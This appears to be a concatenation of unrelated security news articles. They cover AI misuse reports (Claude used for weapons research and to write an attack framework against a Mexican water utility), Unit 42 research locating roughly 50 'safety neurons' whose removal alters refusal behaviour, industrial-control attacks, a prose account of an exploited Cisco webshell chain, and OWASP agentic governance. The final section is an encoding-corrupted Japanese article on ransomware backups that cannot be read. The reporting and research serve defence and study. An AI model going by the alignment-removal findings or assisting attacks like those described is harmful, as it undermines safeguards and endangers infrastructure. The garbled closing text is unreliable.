axis

Anthropic says Claude users in northern Yemen, territory controlled by Iran-backed Houthi rebels, tried to use the AI model to develop advanced missiles. AI is already transforming warfare from Ukraine to Gaza, and its use on a rugged and remote battlefield is likely to increase concerns about its rapid spread. Anthropic said the users of the accounts, which it blocked after identifying them, did not succeed in “fielding an operational device” but did carry out a failed test of a guided rocket. It said it knows that because the users returned to its Claude chatbot to find out why it failed. In a report released Thursday, the company did not identify the users. But mountainous northern Yemen is controlled by Houthis, suggesting that the rebels are pursuing more sophisticated weapons at a time when they are already wielding an array of drones, missiles and other munitions in their campaign to seize more territory in Yemen and damage Saudi Arabia’s oil exports. Hazam al-Assad, a member of the Houthis’ political bureau, said it is “unreasonable and illogical” that they would rely on open sources to develop and produce military capabilities. “Our armed forces have modern, diverse and developed production capabilities and technology that it has accumulated over the period of Saudi aggression on Yemen,” al-Assad said, referring to the kingdom’s involvement in Yemen’s 12-year civil war. He said all weapons are used for self-defense. The report was the third put out by Anthropic since March 2025 on global misuse of its AI platforms, and it described findings from December to August, ranging from state-sponsored groups spreading propaganda to unnamed actors researching how to make biological weapons more deadly. The Houthis may have been seeking to develop their capabilities The developer of the prominent Claude chatbot said it identified a cell in northern Yemen pursuing three different weapons programs, including a multi-variant missile that glides at hypersonic speed and a warhead that uses mobile phone hardware to maneuver mid-course. It said the actors in Yemen used Claude Code instead of human software engineers to develop guidance, navigation and control software. Multi-variant missiles are ones in which different warheads and guidance systems can be fit on the same base design, a more economical way to build land, sea and air weapons. Anthropic said it had evidence that before the accounts were banned, the users had already built an offline simulation tool kit that doesn’t use Claude or any other computing platforms. Trevor Ball, a weapons analyst at Armament Research Services, said that while the Houthis “might be looking into hypersonic (missiles) by asking Claude,” they have nowhere near the production or technical capabilities to actually build them. He noted that U.S. hypersonic missiles “are still in testing.” He said the Houthis already have Iranian-made anti-ship missiles with systems that allow the missiles to adjust guidance mid-course. “They are probably just trying to develop their own capabilities more, so they are less reliant on Iranian shipments of weapons and components,” he said in a text message. Iran has boasted it has hypersonic missiles and claimed it had fired them at Israel last year. It denies arming the Houthis, which would be in violation of a U.N. embargo, but Iranian weapons have been found on the battlefield and seized from shipments bound for Yemen. The Houthis are increasingly threatening key shipping routes The Houthis have launched waves of attacks on Saudi oil facilities and tankers in the Red Sea, threatening global trade as Iran continues to disrupt shipping in the Strait of Hormuz. The rebels have made lightning territorial gains since Wednesday in their war with Yemen’s Saudi-backed government, seizing strategic territories along the Red Sea coast and in the Bab al-Mandeb Strait, a key alternative to the Strait of Hormuz. Adam Baron, a Yemen-focused researcher at the New America think tank in Washington, said the Houthis have kept up with technological development. “There’s a tendency to see the Houthis as this group of barefoot tribal fighters, and that’s just not true,” he said. “Whether it’s things like their emergent use of Claude, their use and manipulation of social media narratives or their ability to capitalize on the transfer of Iranian and wider axis expertise, we’re talking about an incredible — and deepening — amount of institutional tech savvy.” The Houthis are known to have acquired and developed a sophisticated arsenal of weapons, including Iranian-made cruise and ballistic missiles with a range of more than 2,000 kilometers (1,200 miles) and unmanned submarines used in attacks. Anthropic said it shared its findings with private and public partners. Related: Anthropic Says Russian Hackers Used Claude AI to Automate Malware Evasion

Our previous research on logit-gap steering demonstrated that the safety guardrails of an aligned LLM can be bypassed by closing a measurable gap in the model's output scores. That work answered the question of how an attacker bypasses alignment. A natural follow-up question is where inside the model the alignment lives in the first place — and how concentrated or how diffuse that defense actually is. The answer matters because it tells defenders whether safety is a thick perimeter or a thin layer of paint. Modern LLMs are aligned through reinforcement learning from human feedback (RLHF), a training stage that pushes the model toward refusing harmful prompts and complying with safe ones. Until now, no method has been able to point to the specific pieces of the network that carry that learned behavior cheaply enough to run on every model an enterprise deploys. Our new academic research presents a method that does exactly that, and it produces a result that should change how the industry talks about LLM safety. Our research introduces a method called perturbation probing. With only two forward passes per prompt and a significantly lower computational cost, it identifies the small set of feed-forward neurons inside an aligned LLM that are causally responsible for a targeted behavior, such as refusing harmful requests. The headline finding is striking. On open-source LLM Qwen3-4B, just 50 neurons out of 350,208 — about 0.014% of the model's feed-forward neurons — control the safety refusal template. Removing those 50 neurons changes the response format on 80% of 520 standard harmful-prompt benchmarks. The result was replicated on 200 prompts of a second standard benchmark. On a smaller model, Qwen3.5-2B, just 20 neurons were enough to stop the LLM from falsely agreeing with users in multi-turn conversations, dropping that behavior from 36.7% to 0% across 30 questions. This concentration matters because it demonstrates that an aligned LLM's refusal behavior does not live in a robust, distributed defense. It lives in a thin template layer — a tiny fraction of the network that an attacker who can manipulate internals could disable, and that even a normal optimization run could shift. Relying on this thin layer alone is the LLM analog of relying on a single perimeter firewall: structurally insufficient. True AI safety demands a defense-in-depth strategy, with external content filters and runtime guardrails layered on top of whatever the base model was trained to do. Beyond identifying the neurons, the same computation produces a diagnostic we call the FFN/Skip ratio: a single number, computable in seconds per model, that predicts whether a model's safety circuit can be easily steered with minimal modifications. Across the 13 models tested, this ratio explained 81% of the variance in how vulnerable each model's safety behavior was to a small targeted change. That makes it a candidate for a quantitative safety fragility score, a metric that allows security teams to compare models on alignment robustness without running adversarial red-team campaigns first. Figure 1 displays these tests below. The horizontal axis measures how much a model routes decisions through a narrow internal pathway, and the vertical axis measures how much the model’s safety behavior changed when we disabled just 50 neurons. Models track the diagonal closely, which is why one number can predict the other. We hope that perturbation probing will serve two roles for the AI security community. First, as a pre-deployment diagnostic. Security teams can measure how much of a model's safety rests on a thin, easily removed layer before they put that model in production. In our experiments, amplifying just 10 identified neurons on a small model improved factual self-correction from 52% to 88% on 200 TruthfulQA prompts without any retraining. The same toolkit that exposes fragility can also be used to repair it. We are sharing this research to empower the broader AI and security community to build LLMs whose safety properties can be measured, audited and reinforced, not merely asserted. We urge researchers to read the full paper on arXiv, “Perturbation Probing: A Two-Pass-per-Prompt Diagnostic for FFN Behavioral Circuits in Aligned LLMs.” We also recommend integrating fragility diagnostics into your own evaluation pipelines. For organizations deploying LLMs today, Prisma AIRS Runtime Security provides the external content filters and inline guardrails that a thin template layer alone cannot. Unit 42's AI Security Assessment helps identify where AI adoption introduces governance and exposure risk. Together, they deliver the defense-in-depth posture that this research shows is necessary. Perturbation Probing: A Two-Pass-per-Prompt Diagnostic for FFN Behavioral Circuits in Aligned LLMs — arXiv Logit-Gap Steering: A New Frontier in Understanding and Probing LLM Safety — Palo Alto Networks, Unit 42 We used publicly available open-weight models under their respective licenses for local mechanistic and safety evaluation. The study reports aggregate rates, model-internal measurements, and non-operational summaries only. We do not release harmful generations, executable attack artifacts, jailbreak prompts or instructions that facilitate misuse. For models governed by acceptable-use or prohibited-use policies, experiments are framed as defensive safety evaluation and robustness measurement.

Recent analysis from Rapid7 demonstrates the fallacy of defenders continuing to rely on patching their way out of problems. “Q2 2026 was not just another busy quarter in cyber. It felt more like a stress test of the way we currently manage exposure. Traditional patch cycles are being overwhelmed by the sheer volume of vulnerabilities and attacker speed and precision,” writes Rapid7 in its latest report titled ‘the compression era’. “Vulnerabilities are being disclosed at higher volume, proof-of-concept code is appearing faster, exploitability is being tested earlier, and attackers are getting better at turning public information into operational access.” SecurityWeek spoke to Christiaan Beek, Rapid7’s VP of cyber intelligence for a deeper understanding of the cause and effect of this stress. But let’s be clear from the start: the compressive force behind this stress test is artificial intelligence (AI). Disclosures of high and critical vulnerabilities (CVSS 7 to 10) doubled from 4,268 in Q2 2025 to 8,539 in Q2 2026, notes the analysis. In the same period, new exploited vulnerabilities increased 8% to 40. The huge difference between the number of vulnerabilities found and the number exploited is down to the surrounding context. “Discovery and exploitation are separate issues,” explains Beek. “AI can do both, but an attacker cannot use the exploit if the target is sitting behind multiple firewalls and other defensive mechanisms.” The volume of vulnerabilities found by AI is, however, never likely to decrease. New apps are continually being released, and usually with new vulnerabilities. And then there’s the growing use of vibe coding. “I’ve seen research on vibe-coded financial apps that all contained the same vulnerabilities; indicating that AI is using old templates to write new code still containing the old mistakes,” adds Beek. In short, vibe coding introduces vulnerabilities into new code that can then be found by new AI scans. The problem this creates for defenders is worsened by the oft-quoted asymmetry between attack and defense. “Attackers only need one weak spot in our environment. We need to defend so much, including the classic endpoints like a laptop, a computer, a server, a firewall. But now, the landscape is changing fast with interactions around APIs and the supply chain. We have become so dependent on multiple types of vendors that the exposure to visibility for our defenders is way more difficult than that for the attacker. This is changing the game,” he continues. It all points toward what the report describes as ‘a widening gap between what’s disclosed and what any team can realistically triage’. There has been an increase in what Rapid7 describes as ‘Holy Grail’ vulnerabilities. This is Rapid7’s own term for a vulnerability that doesn’t require credentials, or user interaction. These have shown a 9-point year over year increase, now accounting for 25 of 40 exploited vulnerabilities in Q2 2026. “We’ve seen a lot of those being released. As an attacker, I can execute close to a device or product without needing any form of authentication – and that’s a serious flaw,” he explains. Persistent nation-state activity from the cybersecurity axis of evil (China, Russia, Iran and North Korea, often known as CRINK) is also highlighted in the report. Russia is active primarily in Ukraine and against Ukraine’s supporters; Iran is targeting the US and US allies; China is active against Taiwan; and North Korea targets anything it thinks it can monetize. “It’s not that nation-state APTs are any more advanced than financially motivated criminal gangs,” comments Beek, “it’s more that motivations and resources are different. Ninety-nine percent of nation-state motivation requires persistence for long term espionage and a small percentage for possible sabotage. They have the skills, the budget, and all the resources you can imagine. So, they can develop far more sophisticated stuff than a cybercriminal would actually need.” The cybercriminal just requires access, which can be bought. Criminals get in, steal what they can, and get out. Ransomware remains a major method of monetization, and the US remains by far the primary target. Germany comes second; but the numerical difference is stark. In Q2 2026, there were 881 victims in the US, and 91 victims in Germany. Qilin, The Gentlemen, DragonForce, Akira and LockBit were, in that order, the most active ransomware groups; and business services (23.5%), healthcare (22.0%), manufacturing (21.0%), technology (16.9%), and construction (16.6%) were the targets. The volume and speed of today’s AI-assisted attacks has compressed the time available for defenders to patch their way out of trouble. This is amply demonstrated by Rapid7’s latest analysis. The solution cannot be found by reaction – the task is to get ahead of the attackers. This, suggests Beek, requires reducing exposure. The difference between the number of vulnerabilities discovered and the smaller number of those exploited demonstrates that this can be effective. Defenders need to understand what areas of their network can be reached by attackers, and continue to reduce that exposure. “Traditionally, we’ve been looking at vulnerabilities from a CVE scores perspective. Those times are over. If you still believe we have a monthly patch cycle, forget it,” says Beek. “That doesn’t work anymore. For new vulnerabilities, ignore the severity score but focus on the exposure. Where is it in my network? What would be the impact if the host is compromised by an exploit?” It’s the exposure rather than the CVSS score that is now important in vulnerabilities. Related: August 2026 Patch Tuesday: Microsoft Fixes 421 CVEs, One Exploited Zero-Day Related: The Fourth Battlefield: The Growing Role of Cyber Operations in Global Conflict Related: Stop Using CVSS to Score Risk Related: Act Security Emerges from Stealth to Fight the Patch Problem

What stops attackers wrecking industrial plants is knowing how Engineers at an Israeli food producer spent most of a week rebuilding a refrigeration system after an intruder switched the gas cooler and receiver valves to manual and pinned them open. Liquid CO2 flooded the compressors and destroyed them. The replacement units did not match the originals, so the whole system had to be reworked and recharged with gas. That incident is one of roughly forty in Kaspersky ICS CERT’s quarterly roundup of attacks on industrial organizations covering the second quarter of 2026. Most of them are the usual: phishing, backdoors, ransomware. The handful that reach the machinery sort along one axis, and it is not nationality or motive. It is whether the attacker understood the machinery well enough to break it. “Despite their increasing frequency, many of the modern attempts to do something illegitimate with industrial automation systems appear either timid, lazy, or clumsy,” Kaspersky researchers explained. What changed this quarter is what is now available to close the gap. Profero, which handled the response at the food plant, attributes the campaign to Cyber Isnaad Front, an Iranian state-directed persona targeting Israeli defense, telecom, fuel and transport logistics, and food production. The attacker also changed the central controller’s credentials, locking operators out of managing the system, and in a separate case wiped a controller’s configuration outright. None of that is protocol knowledge. Sending a write command to an industrial controller is easy and has been for years. Knowing which valve positions send liquid refrigerant back into a compressor, and that the compressor will not survive it, is refrigeration engineering. That is the scarce ingredient, and it is what separates a defaced HMI from a capital loss. The high end of the scale turns out to be twenty years old SentinelLabs uncovered a sabotage framework called fast16 whose core components date to 2005, five years before Stuxnet. It never touches machinery. It spreads through Windows networks and quietly corrupts the output of engineering simulation software. The domain knowledge shows in the trigger conditions. Symantec, reviewing the hook engine, described three separate mechanisms for corrupting the math. One fires only during explosion and compression simulations above 30 g/cm³, the density uranium or weapons-grade plutonium reaches when compressed before the implosion. Another touches a calculation used only for high explosives. Engineers got distorted results and no sign anything was wrong. Whoever wrote it understood nuclear weapon design well enough to corrupt it selectively, which is a category of attacker that barely exists. The same quarter’s other end Darktrace pulled apart ZionSiphon, malware built for operational technology and aimed at Israeli water treatment and desalination plants. It never reaches its payload. A logic error in its own targeting check fires the self-destruct routine instead. Darktrace says an activated ZionSiphon could have done real damage, raising chlorine and maximizing flow and pressure. The function meant to do it finds the config file, appends a block of text, and returns. Modbus support is partial, DNP3 and S7comm incomplete. The USB spreader is the one component that works. Someone who could finish the propagation routine left the function that opens a valve unwritten. That is the distribution Kaspersky’s summary is built around, and it is why cyber-physical attacks have stayed rare while cyber-physical intent has not. Wanting to destroy a plant is common. Knowing how takes years in an industry, and attackers have not generally had that time. Monterrey is where the gap starts closing Between December 2025 and February 2026, an unidentified actor breached nine Mexican government entities and exfiltrated large volumes of data, using the Claude and GPT-4.1 APIs for much of the technical work, according to Gambit’s report. Dragos examined one of those intrusions, at the municipal water utility in Monterrey, and found that a compromise of the enterprise IT network had escalated into an attempt on the OT side. The post-compromise framework was a 17,000-line Python script written entirely by Claude, which named it “BACKUPOSINT v9.0 APEX PREDATOR” and refined it during the intrusion in response to operational feedback. The attacker was hunting for data to steal until learning the network contained an OT interface. Claude identified the utility’s industrial gateway as a high-value critical asset. Instructed to attack it, the model produced password spraying, which failed against decent password hygiene. Dragos found no evidence the adversary ever saw anything behind the gateway. The attack was worthless. The pointing was not, and pointing is the step the ZionSiphon developers could not perform for themselves. A model that can recognize an industrial gateway in a network map and explain its significance supplies exactly the ingredient that has been rationing this class of attack. This is not an isolated case. Elsewhere in the quarter, HeartlessSoul shipped AI-generated stagers alongside a RAT built with generative AI, GOFFEE used modules with characteristics typical of LLM generation against Russian defense enterprises, and Check Point assessed that Nimbus Manticore likely used AI-assisted development while building a new backdoor. Kaspersky’s reading is that industrial firms are feeding OT problems to public models, and that the domain knowledge accumulating there will eventually be turned against them. Meanwhile the controllers are still reachable CISA and federal partners have been tracking a group they believe to be Iran-affiliated, hitting programmable logic controllers in US government facilities, water systems, and energy since at least March 2026. The method requires no exploit. The actors install legitimate vendor configuration software on leased infrastructure and open an accepted connection to exposed controllers. The FBI traced the results: project files extracted from the devices, and manipulated data on HMI and SCADA displays. Operators watching those screens saw numbers the attacker chose. Cato Networks measured the background noise this sits in. Between September and November 2025 it counted 14,426 unique targeted IPs across 70 countries, most in the United States, drawing more than 235,000 automated read requests against Modbus registers. Reads are cheap and everywhere. The write attempts came from one machine, all following the same structure, starting at the same register address and writing 27 to 122 registers at a time. Cato flagged them as the finding that concerned the researchers most, and stopped there. Compressors in an Israeli food plant were destroyed by someone who understood refrigeration cycles well enough to flood them with liquid CO2. A water sabotage tool aimed at the same country deleted itself over a coding error and never opened anything. Domain knowledge is the whole distance between those outcomes, and for twenty years it has been the reason most attempts on industrial systems ended as nuisances. In Monterrey, a model spent an intrusion explaining an industrial gateway to an attacker who had not known it was there. Download: The ultimate guide to network operations management

Researchers make the case for a cybersecurity AI scientist Autonomous AI agents have started doing real security work. Language-model agents probe software for flaws, run penetration tests, and chain together attack steps that once needed a human operator. Research about security has stayed slower and more manual, built around expert scarcity and hand-designed experiments. A team at the Chinese Academy of Sciences wants to close that gap. In a recent paper, they define what they term the Cybersecurity AI Scientist. They describe a research system that moves from a question to experimental design, tool building, controlled execution, evaluation, and a written result on its own. The authors offer Hephaestus, a modular, multi-agent system, with role-specialized agents for problem framing, threat modeling, tool generation, and reporting, as one workable realization. The name comes from the Homeric smith who forged both spear and shield, marking a system meant to produce offensive and defensive work under one design. The limits of a straight domain transfer Automated research systems are already a thing. The AI Scientist and its follow-up can run the whole loop from idea to draft paper in machine learning subfields, and tools like Co-Scientist and Robin pull off something similar in biology and biomedicine. Cybersecurity, the authors argue, breaks the assumptions all of them lean on. The object of study adapts to being studied. Model platforms, guardrails, and tool access drift faster than a single research loop can run. And whether you believe a finding depends on digital twins, cyber ranges, and evidence chains that are part of the method itself. Four kinds of failure to bound The authors hang all of this on something they call a four-zeros frame, and it comes down to four things the system should worry about: risk, trust, incident, and energy. Risk is about the hidden defects lurking in software. Trust is about assistance that stays calibrated, so a human operator keeps the wheel. Incident is about operational slip-ups and the test environments you need to catch them. Energy is the long game, the organizational and ethical outcomes that play out over years. Each one names a kind of failure the system is supposed to study and shrink. Hidden defects and frontier models Recent capability jumps sit behind the risk axis. Anthropic’s Claude Mythos Preview, released under Project Glasswing, was held back from general access because its offensive cyber ability was strong enough to require a vetted partner program, and reporting has tied large-scale defect discovery in widely used software, including some long-lived flaws, to that model. CyberGym, a benchmark the paper cites, tests agents against more than a thousand real-world vulnerabilities drawn from a large set of open-source projects, with frontier models reporting single-trial success in the tens of percent and surfacing fresh zero-days on their own. From terminals to agent legions The paper’s most vivid idea is something the authors call resilient agent legions. Most defenses today lean on a few steady assumptions: the perimeter holds, each team owns its lane, and repairs happen at human speed. Those assumptions start to buckle once both sides of a fight run on autonomous agents and the attack surface shifts faster than anyone can push patches. So the authors flip the model. Picture a large, deliberately redundant crowd of defensive agents scattered across network edges, monitoring layers, coordination channels, and recovery jobs. Each one hauls around an “event-and-defense capsule,” a tidy bundle that ties a category of security events to the routines meant to handle them. In this telling, the old idea of terminal security comes apart and turns into agent security. The job stops being about guarding a single endpoint and starts being about running a whole population of agents whose collective behavior does the protecting. Measuring the work over time Lidong Zhai, a co-author, addressed how such a system should be judged. He treats long-term benchmarking as a longitudinal protocol that holds the goal fixed and perturbs the model stack, tools, guardrails, and threat environment over time. The output he describes is a profile matrix reporting research yield, evidence quality, calibration burden, resilience to model and tool turnover, governance compliance, and consequence handling. He puts weight on which events count most. “The benchmark should be consequence-weighted: high-propagation, high-loss events should count more than nuisance events, because prioritization is part of the scientific capability being measured,” Zhai told Help Net Security. Keeping dual-use in check Zhai described containment as part of the architecture, with control at four levels: capability, role, environment, and artifact. Offensive exploration, defensive analysis, evaluation, and release decisions each follow separate authorization paths, and sensitive work stays inside isolated digital twins and cyber ranges. The key question, he said, is “who invoked it, for what purpose, in what environment, under what authority, and with what release boundary.” The paper stops short of a built system. It is a framework with open challenges, among them heterogeneous defense targets and the difficulty of separating offensive and defensive uses of a capability at the level of code. For Zhai, the measure of success runs past speed. “A Cybersecurity AI Scientist should ultimately be judged not only by whether it accelerates research, but by whether it improves strategic composure, sharper prioritization, and more durable defensive design,” he said. Guide: What automated pentesting alone cannot see

Cisco Unified CM flaw actively exploited to drop webshells (CVE-2026-20230) CVE-2026-20230, a server-side request forgery (SSRF) vulnerability affecting Cisco’s Unified Communications Manager (Unified CM), is being exploited to drop webshells and achieve remote code execution capability on the underlying server. “Our honeypots are seeing automated sweeps dropping webshells, all via Tor,” threat intelligence firm Defused warned today, after observing initial attacks over the weekend. “The observed chain abuses the WebDialer SSRF to deploy a rogue Apache Axis service, uses that service to write a first-stage JSP file-writer, then drops a second-stage command-execution shell under /platform-services/axis2-web/.” The vulnerability Cisco Unified Communications Manager is an enterprise-grade IP telephony and call processing platform. It’s typically deployed as a virtual machine, commonly on Cisco UCS servers running VMware ESXi. CVE-2026-20230 was reported to Cisco by an independent security researcher working with SSD Secure Disclosure. It stems from improper input validation for specific HTTP requests, and can be triggered by unauthenticated, remote attackers by sending a specially crafted HTTP request to a vulnerable instance. “A successful exploit could allow the attacker to write files to the underlying operating system that could be used later to elevate to root, Cisco said on June 3, 2026, when it revealed the existence of the flaw and released patches for it. At the time, the vendor confirmed the existence of a proof-of-concept (PoC) exploit for CVE-2026-20230, but said that they were “not aware of any malicious use of the vulnerability.” A PoC is now public The PoC they mentioned was likely the one published on Tuesday by the SSD Secure Disclosure technical team. Knowing the target system’s hostname is a pre-requisite for leveraging the exploit, but that can easily be achieved by accessing a specific URL, they noted. With the PoC now public, exploitation attempts by other threat actors are likely. Earlier this year, attackers exploited CVE-2026-20045, a code injection vulnerability in Cisco enterprise communications products (including Unified Communications Manager), in zero-day attacks. Customers who haven’t upgraded or aren’t able to upgrade to a fixed Cisco Unified Communications Manager or Cisco Unified Communications Manager Session Management Edition version are advised to mitigate the risk of exploitation by disabling the vulnerable WebDialer service. UPDATE (June 26, 2026, 05:35 a.m. ET): CISA added CVE-2026-20230 to its Known Exploited Vulnerabilities catalog and ordered US civilian federal government agencies to address it by June 28, 2026. Subscribe to our breaking news e-mail alert to never miss out on the latest breaches, vulnerabilities and cybersecurity threats. Subscribe here!

The Open Worldwide Application Security Project (OWASP) has rolled out a new agentic AI security maturity framework intended to help organizations close the gap between the agentic systems they deploy and the governance those systems require. The framework appears in the OWASP GenAI Security Project’s latest paper, State of Agentic AI Security and Governance, published on June 3, and is presented as a practical decision tool rather than a catalog of ever‑growing rules. Ariel Fogel, AI security researcher at Pillar Security’s Office of the CTO and one of the report’s co‑leads, introduced the new framework at the OWASP GenAI Security Summit, at Infosecurity Europe 2026, on June 4. The new guidance has been dubbed the ‘Enterprise Adoption Maturity Model.’ “Most organizations are deploying agents faster than they can govern them. Governance is still operating at the maturity levels designed for AI copilots while teams are shipping and running custom and multi-agent systems,” Fogel commented. How OWASP’s New Agentic AI Security Maturity Model Works The framework maps the governance problem across two linked dimensions. One axis captures what is being deployed, ranging from shadow AI and single‑vendor tools through custom agents to multi‑agent and federated systems. The authors have defined six levels of agentic AI adoption: AT0 – Shadow AI: No organizational awareness or approval. Users self-adopting AI tools outside governance AT1 – Vendor embedded assistant: Fully vendor-controlled. You consume it, not build it AT2 – Platform integrated: AI-native platform with your data. Cannot execute arbitrary code AT3 – Citizen developer agent: Low-code/no-code platform. User configures flows and prompts, not code. Actions on real organization data AT4 – Code executing agent: Generates and executes code with local/cloud privileges AT5 – Custom in-house agent: You built it. You control identity, tools and boundaries The other criterion measures governance maturity, from ad hoc processes up to continuous monitoring and adaptive automated enforcement. The authors have defined four level of maturity: Level 0 – Unaware and ad hoc: No formal recognition of agentic AI's distinct governance/security risks beyond traditional AI. Shadow IT experiments lack policies, AI-software bills of materials (SBOMs) or guardrails; oversight is informal with minimal logging and generic IT incident handling Level 1 – Experimentation without guardrails: Pilot projects with single agents/small workflows lack defined autonomy limits, decision scopes or escalation criteria. Generic AI policies and occasional red-teaming provide governance without continuous monitoring or risk-tiering; accountability is diffuse Level 2 – Policy-defined, human-in-the-loop: Formal policies map use cases to regulations (EU AI Act, GDPR) with mandatory human-in-the-loop for high-impact decisions. Cross-functional governance includes named owner (e.g. CAIO); logging/versioning/AI-SBOM established but monitoring is periodic Level 3 – Integrated, continuous oversight: Agentic AI treated as critical infrastructure with risk-tiered workflows and autonomy ladders across regulated domains. Real-time dashboards track drift/anomalies; kill switches enable autonomy pauses. Governance-as-code enforces machine-readable policies across AI lifecycle Assessing Agentic AI Adoption-Maturity Matches and Mismatches By combining these two criteria, for each agentic AI workflow organizations can assess whether their governance matches their deployment or governance cannot see what the agents are doing. Fogel presented this with a table showing green areas (when governance matches the deployment), yellow areas (when security and governance teams may not have full oversight) and red areas (when deployment is applied without the right level of governance). “Don’t operate in the red cells,” Fogel warned. The framework’s operational logic is straightforward. Organizations place an agent on the deployment axis and then check whether their governance maturity lines up. If governance is insufficient, the framework points to two practical responses: invest in controls specifically designed for agentic systems or reduce the agent’s permissions and autonomy until existing controls suffice. The paper emphasizes that the needed controls are not merely stronger versions of traditional security measures. As Fogel put it, agents operate at machine speed and scale, so teams need monitoring infrastructure that operates on the same speed as their agent workloads. That means live behavioral baselines, real time containment and stop mechanisms, joined incident response across safety and security teams and better identity hygiene (e.g. ephemeral credentials and cryptographic attestation) so that each action can be traced and limited. How to Make Agentic AI Guidance Directly Actionable John Sotiropoulos, co-lead and board member of OWASP’s GenAI Security Project and Agentic Security Initiative, stressed that the new framework also aims to reduce human and organizational friction. “There is a cognitive tax on us giving you stuff again and again,” he said, warning that large, frequently updated volumes of guidance become unusable for busy teams. He pushed the framework’s simple decision posture as a way to focus action: discover the most advanced agents in use, prioritize the riskiest workloads and decide whether to invest in faster, different controls or to constrain deployments. Sotiropoulos also linked governance upgrades to broader business goals, asking, “How do we actually accelerate innovation? I think people hiding and not doing AI is a vulnerability.” He argued that prudent governance enables safe adoption rather than just blocking it. Finally, Fogel emphasized the convergence of AI safety and security at the deployment layer: the same architectural choices that create safety exposure often create security exposure too and the maturity framework encourages aligned telemetry and incident playbooks to avoid misdiagnosis during live incidents.

�����T���E�F�A��Q�͐[�������A������h�䂾���ł̓V�X�e��������Ȃ��B�ŊJ��́u�b�P�ʂ̕����v�ƃl�b�g���[�N�����A�������A�N����̔�Q���ŏ�������V���ȑ��w�h��̃A�v���[����B�m���ȕ����Ǝ��ƌp���𗼗��������@���A���Ƃƍl����B �@�����̊�Ƃ��Z�L�����e�B����������Ă���ɂ�������炸�A�Ȃ������T���E�F�A�i�g����v���^�}���E�F�A�j�U���ɂ���Q�͌��₽�Ȃ��̂��B�]���̓�����h�䂾���ł͖h����Ȃ�������ǂ��Ŕj���ׂ����BSB C&S�́g�Z�L�����e�B�\�����G�h�ł��鉓���@�����A�����ē��{�q���[���b�g�E�p�b�J�[�h�̚��������ƐX�c������A�X�g���[�W�A�o�b�N�A�b�v�A�l�b�g���[�N�Ƃ��������p�I�Ȋϓ_����c�_�����B�N����O��Ƃ����u���������v�����ɁA��Q���ŏ����ɗ}���Ď��ƌp���������߂�A�v���[���T��B ���ȉ��A�h�̗� �\�\�����̃T�C�o�[�U���̌X����A���[�U�[��Ƃ����ʂ��Ă���ۑ�ɂ��Đ��ƂƂ��Ăǂ̂悤�ɍl���܂����B �����@�����T���E�F�A�U�����������Ȃ��v���́A�U�����ɂƂ��ăR�X�g�p�t�H�[�}���X���ǂ����炾�ƍl�����܂��B��̌��́A�����ɍU���҂̎�Ԃ𑝂₵�ăR�X�p�����������邩�Ƃ������_�ł��B �X�c�@�T�C�o�[�ƍ߂͂��łɁu�r�W�l�X���v���Ă��܂��B�uRansomware as a Service�v�iRaaS�j�̕��y�Ŏ��s�̃n�[�h�����������āA�T�v���C��F�[����_���U���������Ă��܂��B�h�䑤�ɂ͌������������Ă��܂��B �@��̗v�Ƃ��ăo�b�N�A�b�v�͕s���ł��B��Q��O��Ƃ�����ŁA�m���Ƀf�[�^��ی삷��d�g�݂ƁA�l�b�g���[�N�̉�����g�ݍ��킹��A�����I�ȑ��߂��Ă��܂��B �����@�����̊�Ƃ��o�b�N�A�b�v�V�X�e�������Ă��܂����A�o�b�N�A�b�v���擾���������ň��S���Ă��܂��A�u����ɕ����ł��邩�v���\���Ɍ����Ă���Ƃ���͑����Ȃ���ۂł��B�L���̍ۂɐ����P�ʂ̃_�E���^�C���������邱�Ƃ́A���ƌp���ɂ����ďd��ȃ��X�N�ƌ����܂��B �\�\�����T���E�F�A��Q���ɁA�g������x���킸�Ɏ��Ƃ��p������ɂ́A�ǂ̂悤�ȕ����̐���z���ׂ��ł��傤���H �����@�g������x���킸�ɃV�X�e���𐳏퉻����ɂ́A�m���ȃo�b�N�A�b�v�ƁA����𐳂����߂�����̊m�ۂ��O��ł��B �X�c�@�o�b�N�A�b�v�f�[�^�̒I�������d�v�ł��B�u�ŗD��Ŏ��ׂ�IT���Y�͂ǂꂩ�v�����ɂ߂��ɑS�Ẵf�[�^��ی삷��̂͌����I�ł͂���܂���B���Y�̏d�v�x�����ėD�揇�ʂ�t���邱�Ƃ��A�����I�ȃf�[�^�ی�̑����ł��B �����@3�̃f�[�^�R�s�[���A2��ނ̈قȂ�X�g���[�W�}�̂ŁA1�J���͖{�ԋ��_�ƈقȂ鉓�u�n�ɕۊǂ���B���́u3-2-1���[���v���o�b�N�A�b�v�̊�{�ł��ˁB���݂͂���Ɂu�C�~���[�^�u���X�g���[�W�ɕۊǁB�܂��̓G�A�M���b�v�i�l�b�g���[�N����̕����I�Ȋu���j�����̃X�g���[�W�ɕۊǁv�Ɓu�������̃G���[�[�����m�ہv���������u3-2-1-1-0���[���v������Ă��܂��B��������͂ō\�z���ĉ^�p���镉�S���l����A���؍ς݂̐��i��T�[�r�X��L�����p����̂��������ł��傤�B �����@�p���I�f�[�^�ی�iCDP�j���i�́uHPE Zerto Software�v�́A5�10�b�̔��ɍׂ����P�ʂŕ����|�C���g��ێ����܂��B�ُ팟�m�̃^�C�~���O����������A�����O�␔���ԑO�Ƃ����P�ʂł͂Ȃ��A�u��Q�ɑ������b�O�v�̏�ԂɃs���|�C���g�ŕ����\�ł��B �@�f�[�^�ی�X�g���[�W�uHPE StoreOnce Systems�v�́A�C�~���[�^�u���o�b�N�A�b�v��WORM�iWrite Once Read Many�j�̋@�\������Ă��܂��B�����āA�Ǝ��v���g�R���uHPE StoreOnce Catalyst�v�ɂ���ăl�b�g���[�N����_���I�Ɋu�����ꂽ���i�_���G�A�M���b�v�j���\�z���āA�t�@�C���V�X�e���w�ւ̒��ڍU����������ăf�[�^�����܂��B �����@���̓x���_�[�t���b�g�ɐ��i���r���Ă��q���܂ɍœK�Ȑ��i���Ă��闧��ɂ���܂��B���̎��_���炠���Ďf���܂����A�u���b�O�ɖ߂��v�Ƃ����@�\����������A���А��i�ł������ł��܂���ˁH �����@�̗v�Ȃ̂̓f�[�^���X���ŏ�������g�^��CDP�h���A�[�L�e�N������x���Ŏ����������邩�ǂ����A���ƍl���Ă��܂��B��ʓI�ȃo�b�N�A�b�v���i�͐����Ԃ����́u�X�i�b�v�V���b�g�v���x�[�X�ɂ��邽�߁A�������͑����̃f�[�^���X�������܂��BHPE Zerto Software�̓u���b�N���x���Ńf�[�^���펞�������邽�߁A���b�P�ʂ̕����|�C���g�̍쐬�ƕb���P�ʂł̕������\�Ȃ̂ł��B �@������HPE StoreOnce 